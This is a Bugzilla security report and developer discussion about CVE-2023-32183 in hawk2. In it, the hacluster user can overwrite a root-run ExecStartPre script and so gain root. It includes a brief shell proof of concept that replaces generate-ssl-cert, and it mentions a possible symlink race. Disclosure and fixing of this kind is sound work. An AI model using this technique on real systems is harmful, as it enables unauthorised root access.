Bugzilla – Bug 1211848
VUL-0: CVE-2023-32183: hawk2: Privilege escalation from hacluster user to root due to file system permissions of package
Last modified: 2023-08-07 11:04:53 UTC
/usr/lib/systemd/system/hawk.service: 7 [Service] 8 Type=simple 9 User=hacluster 10 Group=haclient 11 WorkingDirectory=/usr/share/hawk 12 Restart=always 13 RestartSec=5 14 Environment="HAWK_ENV=production" 15 EnvironmentFile=-/etc/sysconfig/hawk 16 17 # Run ExecStartPre with root-permissions 18 PermissionsStartOnly=true 19 ExecStartPre=/usr/share/hawk/bin/generate-ssl-cert 20 ExecStart=/usr/sbin/hawk-apiserver -key ${HAWK_KEY} -cert ${HAWK_CERT} -port ${HAWK_PORT} -config /etc/hawk/server.json This means that the apiserver is run as hacluster, but /usr/share/hawk/bin/generate-ssl-cert still runs as root. /usr/share/hawk/bin is owned by hacluster in the current packaging (not on SLES), so hacluster can change generate-ssl-cert POC: sh-5.2$ id uid=90(hacluster) gid=90(haclient) groups=90(haclient) sh-5.2$ mv /usr/share/hawk/bin/generate-ssl-cert /usr/share/hawk/bin/generate-ssl-cert.bak sh-5.2$ echo -e '#!/bin/sh\necho owned > /owned' > /usr/share/hawk/bin/generate-ssl-cert sh-5.2$ chmod +x /usr/share/hawk/bin/generate-ssl-cert as root: (re)start the service: systemctl start hawk sh-5.2$ cat /owned owned Large parts of /usr/share/hawk are owned by hacluster. This is not the case in SLES and as long as this is the case this will likely be insecure. Can we revert to the previous settings? I will likely assign a CVE for this, but I need to check first with upstream what their permissions are.
Internal CRD: 2023-06-30 or earlier This is an embargoed bug. This means that this information is not public. Please do NOT: - talk to other people about this unless they're involved in fixing the issue - make this bug public - submit this into OBS (e.g. fix Leap/Tumbleweed) until this bug becomes public. This means that the security team removed the EMBARGOED tag from the bug title after we verified that there's already information about this bug publicly available. If you find such information yourself and the bug is still embargoed please contact us Your primary responsibility is to apply a fix for this issue. Here is some guidance on openSUSE package maintenance: - https://en.opensuse.org/openSUSE:Package_maintenance - https://en.opensuse.org/openSUSE:Maintenance_update_process You need to submit AFTER the bug became public, to the current openSUSE Leap codestreams, and to the devel project of your package. The security team will then take the following steps: - We wait for your submission and package them into an incident for QA testing. The QA tester might reach out to you if they find issues with the update. - If QA doesn't find any issues, we publish the updates. You can contact us at: * IRC: irc.suse.de #security * Do NOT use Slack or any non-SUSE hosted messaging services * Email: security-team@suse.de
Please use CVE-2023-32183 for this
Also this is in the spec file 197 gem install --local %{www_base}/hawk/vendor/cache/js-routes-1.4.1.gem since %{www_base}/hawk/vendor/cache is writeable for the user this might also be vulnerable. A naive symlink attack doesn't work, but this file is opened a lot of times, so a race might be won. If you change the permissions back this will be safe again
Hi, the hacluster user and the haclient group is a special user and a group. They are thoughroughly used in the ha components interchangeably with the root. You can say the hacluster is the root2, but for HA. The hacluster user needs the write permissions to some files in the /usr/share/hawk, for example to the Gemfile.lock. I didn't want to cherry-pick files and gave the permissions for hacluster on the whole hawk folder, which imho still sounds sane. If the upstream wants to deprive the hacluster from certain actions, we can do this of course.
Thanks for the information. Where is it documented that hacluster is akin to root?
I didn't find a sentence that says "hacluster is the same that root, but for ha components", this is just common knowledge. The source code of such components as crmsh for example, implies that the hacluster is a root for HA. And the crmsh is a core component of HA.
That's a problem then. Something like this can be okay if users are aware. And that needs some form of documentation. So if there's no documentation stating this it's a CVE. If we can find something where we can argue that this is known to users we could retract the CVE.
We're getting close to the CRD. So unless we can find a reason in the official documentation (or document it now) this needs to be worked on. ATM this CVE is still internal and we can retract it if the documentation is updated
There is a 'Please do NOT: - submit this into OBS' What should we do about it?
Since it's an internal finding we can make it public at any time. So feel free to submit, but please ping me once you do this so we can make this bug public, otherwise our bots start to scream
public
Hi, ping-ping, I have mentioned the issue in my branch. And there is a submission, could you please have a look https://build.opensuse.org/request/show/1094687
I've returned the permissions of the hawk folder back to the root:root, except for the Gemfile.lock. The change is already in the tumbleweed.